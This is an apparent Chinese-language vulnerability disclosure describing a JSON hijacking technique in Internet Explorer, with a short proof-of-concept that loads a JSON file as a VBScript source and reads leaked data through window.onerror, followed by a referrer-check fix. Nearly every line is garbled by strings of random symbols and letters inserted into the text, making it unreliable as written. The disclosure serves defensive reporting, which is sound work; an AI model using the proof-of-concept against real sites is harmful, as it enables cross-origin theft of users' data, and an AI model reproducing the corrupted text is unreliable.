简要描述:
2 y/ ^; A F% \+ n: W" Y& e) K& L0 j- p$ k4 c
由于某些资源容器对数据处理不当导致json劫持漏洞.. U8 ]' z& }. i3 f! B7 z$ N% F2 ?
详细说明:$ R8 i( b5 _! q2 ^: Z& c+ i
由于ie支持vbscript,所以script元素可以指定成vbscript语言:8 }4 s: d1 p) w1 U, F& x1 V w$ v
<script language=vbscript></script>
) q3 i# [" Q9 ?& f7 W * ?0 ]' x E$ e- L
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.% G: u# r; I8 j( }6 w& d& r& N
漏洞证明:$ {- h" D" V6 l! p
<script>
# N$ V. x0 f. b D& Zwindow.onerror=function(_){& S. F( v4 `% c8 U8 Z1 n
alert(_)$ R, z7 @ X6 F9 a; J1 g, d, I
}( m& J- I7 J& }7 _# `
</script>
4 Q: v! ^7 m" u( n9 n* b' ~<script language=vbscript src=1.json></script>
) f4 `5 j! \0 `' C/ S, g$ W- Z" ^ - h7 ?, v$ W/ k" a. k$ ^) ^& q
4 s/ a2 G! J% O ^, ?
1.json:
- p% T! M) n) D. L% W1 u6 b[{"name":"sogili","age":19}]$ Z& y7 h, x: v. @
修复方案:
/ e' S) v; ]+ E$ M' S$ K- ?3 E网站业务对于这个问题可以通过验证referrer是否为同源来防御 |